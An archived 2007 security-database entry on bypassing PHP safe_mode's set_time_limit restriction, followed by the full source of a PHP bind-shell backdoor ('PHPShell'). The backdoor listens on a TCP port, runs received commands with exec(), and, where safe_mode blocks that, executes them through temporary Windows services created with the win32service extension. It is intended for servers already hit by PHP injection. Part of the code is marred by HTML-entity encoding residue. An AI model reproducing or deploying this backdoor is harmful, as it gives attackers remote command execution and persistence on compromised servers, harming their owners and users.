Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18748
HistoryDec 27, 2007 - 12:00 a.m.

PHP -> set_time_limit

2007-12-2700:00:00
vulners.com
34

when safe_mode = on, set_time_limit is "off", then we can use
ini_set("max_execution_time", 90000000);

suppose the server is vulnerable PHP injection, then an attacker make a backdoor in PHP and register it in SCM of windows with win32service extension.

the backdoor need wait for connections, if safe_mode = on, then it can use ini_set("max_execution_time", quantity) instead set_time_limit(0), because safe_mode block this.

example of backdoor that use this technique:

<?php
//script for low versions of PHP
//PHPShell by branco
//contact by brancohat gmail.com
//gratz : magrinho_loko, ne0h, mental_way, dr4k0 e aos que esqueci

ini_set("max_execution_time", 90000000);
set_time_limit(0);

define("NEW_LINE", "\n\r");
define("CMD_DIR", 'c:\\windows\\system32\\cmd.exe');

Class Backdoor
{
var $exec;
var $result;

// PHP bypass with win32service, technique of NetJackal
function execCommand($cmd) {
$dir=ini_get('upload_tmp_dir');
$n=uniqid('NJ');
$name=$dir."\\log";

$cmd_local=(empty($_SERVER['ComSpec']))?
CMD_DIR :$_SERVER ['ComSpec'];

win32_create_service(array('service'=>$n,'display'=>$n,
'path'=>$cmd_local,'params'=>"/c $cmd >\"$name\""));

win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
$content=file_get_contents($name);
unlink($name);

return $content;
}

function execConfig() {
$safe_mode = ini_get("safe_mode");
$disable_functions = ini_get("disable_functions");
// se for possivel utiliza a funcao exec
if ($safe_mode == 0 && (eregi("exec", $disable_functions) === false) ) {
$this->exec = "exec";
}
//se nao tenta burlar safe_mode e/ou disable_functions, caso a extensao win32service esteja habilitada
else {
if (extension_loaded('win32service')) {
$this->exec = "execCommand";
}
else {
$this->exec = "impossivel";
}
}
}

function errCatch() {
exit(socket_strerror(socket_last_error()) . socket_last_error());
}

function listen() {
$socket;
$socket_stream;
$input_socket;
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP) or $this->errCatch();
socket_bind($socket,'127.0.0.1', 666) or $this->errCatch();
socket_listen($socket, 5) or $this->errCatch();

do {
$socket_stream = socket_accept($socket);
if ($socket_stream === false) {
continue 1;
}
// so passa caso alguem se conecte, ai vem a mensagem de boas vindas
$msg = NEW_LINE . "Bem vindo ao backdoor PHPShell" . NEW_LINE . "Para sair, escreva 'quit'. Para desligar o backdoor, digite 'shutdown'". NEW_LINE;
socket_write($socket_stream, $msg, strlen($msg));

// aqui trata a sessao
do {
$input_socket = socket_read($socket_stream,1000,PHP_NORMAL_READ) or
$this->errCatch();

$input_socket = trim&#40;$input_socket&#41;;
if &#40;empty&#40;$input_socket&#41;&#41; {
  continue 1; # goto sessao
}

switch &#40;$input_socket&#41; {
 case &quot;quit&quot;:
  socket_close&#40;$socket_stream&#41;;
  break 2; # goto sessao
 case &quot;shutdown&quot;:
  socket_close&#40;$socket_stream&#41;;
  socket_close&#40;$socket&#41;;
  break 3; # goto termina
}

// caso os comandos nao sejam quit nem shutdown

if &#40;$this-&gt;exec == &quot;execCommand&quot;&#41; {
 $this-&gt;result = $this-&gt;execCommand&#40;$input_socket&#41;;
}

if &#40;$this-&gt;exec == &quot;exec&quot;&#41; {
 $output = &quot;&quot;;
 $result_complete = &quot;&quot;;
 $value = &quot;&quot;;

 exec&#40;$input_socket, $output&#41;;
 foreach &#40;$output as $value&#41; {
  $result_complete .= &quot;$value&quot; . NEW_LINE;
 }

 $this-&gt;result = $result_complete;
}

if &#40;$this-&gt;exec == &quot;impossivel&quot;&#41; {
 $this-&gt;result = NEW_LINE . &quot;Nao foi possivel executar comandos, safe_mode=on e extensao win32service desabilitada, caso conheca outro modo de burlar safe_mode, edite o backdoor&quot; . NEW_LINE;
}

if &#40;$this-&gt;result&#41; { // pra caso result esteja vazio o socket nao gerar erro e fexar sessao
 socket_write&#40;$socket_stream,$this-&gt;result, strlen&#40;$this-&gt;result&#41;&#41; or
 $this-&gt;errCatch&#40;&#41;;
}

} while(true);
#sessao

} while(true);
#termina

}

function Backdoor() {
$this->exec = "";
$this->result = "";
$this->execConfig();
socket_clear_error();
$this->listen();
}

}

$backdoor = new Backdoor();
?>